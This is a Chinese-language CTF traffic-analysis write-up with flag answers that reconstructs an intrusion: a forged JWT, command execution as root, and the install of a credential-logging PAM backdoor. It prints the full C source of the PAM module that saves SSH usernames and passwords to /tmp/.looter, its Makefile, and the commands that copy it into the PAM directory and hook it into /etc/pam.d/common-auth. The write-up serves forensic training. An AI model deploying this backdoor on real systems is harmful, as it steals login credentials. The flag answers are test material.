题目描述
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
2.1 该网站使用了______认证方式。(如有字母请全部使用小写)
wp:
jwt是什么? 参考连接
jwt就是JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,通俗来说就是让多个服务器知道你是谁,而无需重复登录。jwt保存在cookie中,格式是
头中保存的是jwt格式,载荷中保存的是内容,签名部分保存的是前面内容的哈希值防止篡改
wireshakk打开包,
7号数据包是post方式提交form表单认证,8号数据包表示认证通过同时返回jwt数据和网页,jwt数据可以简单理解为cookie。
flag:
因此该网站使用的jwt认证方式,这里有个坑,我开始以为是form表单认证,这里问题描述还是不够清晰。
2.2 黑客绕过验证使用的jwt中,id和username是______。(中间使用#号隔开,例如1#admin)
wp:
在8号数据包中,我们在cookie中的token中提取jwt数据
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc
分为三段
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0
dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc
用base64解码第二段得到
{"id":10086,"MapClaims":{"aud":"admin","username":"admin"}}
flag:
因此10086#admin
我提交后发现不对,我们再次审题 黑客绕过验证使用的jwt中,重点是黑客绕过验证,分析数据包,这个jwt是黑客使用弱密码admin表单登录后发送给黑客的第一个令牌,并没有体现绕过二字。之后在27号黑客使用该令牌执行了系统命令whoami,系统返回了 alert("The administrator has the authority to do this, you can’t")\n,意思是只有管理员才有权力执行该命令,你不能执行。黑客此时明白了它并不是最高权限,有再次登录获取新的jwt,还是不行。在97号数据包中,黑客首次构造了jwt,构造结果如下
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc; Path=/; Max-Age=3600; HttpOnly
解密后得知,
{"id":10087,"MapClaims":{"username":"admin"}}
这个才是伪造的,之前是系统自动生成的。
flag:
因此10087#admin
2.3 黑客获取webshell之后,权限是______?
wp:
在97号数据包中黑客使用伪造的jwt提交了whoami,98号包返回 root。这里黑客利用了jwt伪造漏洞和命令执行漏洞
flag:
root
2.4 黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)
wp:
因为一个一个查看黑客执行的代码比较麻烦,我们导出http对象同意分析文件。再103号数据包中,用base64解码后都到,将下面1.c写道/tmp/目录下
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}
void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}
snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}
flag:
1.c
2.5 黑客在服务器上编译的恶意so文件,文件名是_____________。(请提交带有文件后缀的文件名,例如x.so)
wp:
109号数据包中又写了/tmp/Makefile
CFLAGS += -Werror -Wall
looter.so: looter.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
然后再/tm目录下执行make命令,将looter.c编译成looter.so
flag:
因此是looter.so
2.6 黑客在服务器上修改了一个配置文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)
wp:
之后黑客发现源代码文件名称不对不是1.c,重命名源代码文件名称,mv /tmp/1.c /tmp/looter.c,这里是作者故意埋下的坑,让2.4的问题变得模糊,让我们以为上传的文件是looter.c
再次make,此时/tmp下有三个文件Makefile looter.c looter.so,编译好的木马是looter.so
cp /tmp/looter.so /lib/x86_64-linux-gnu/security/,移动木马到ssh认证目录下
echo "auth optional looter.so">>/etc/pam.d/common-auth,这里修改了ssh配置文件
flag:
etc/pam.d/common-auth
之后黑客执行了
service ssh restart
cat /tmp/.looter
Username root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\n
因此黑客上传的是ssh登录凭证记录木马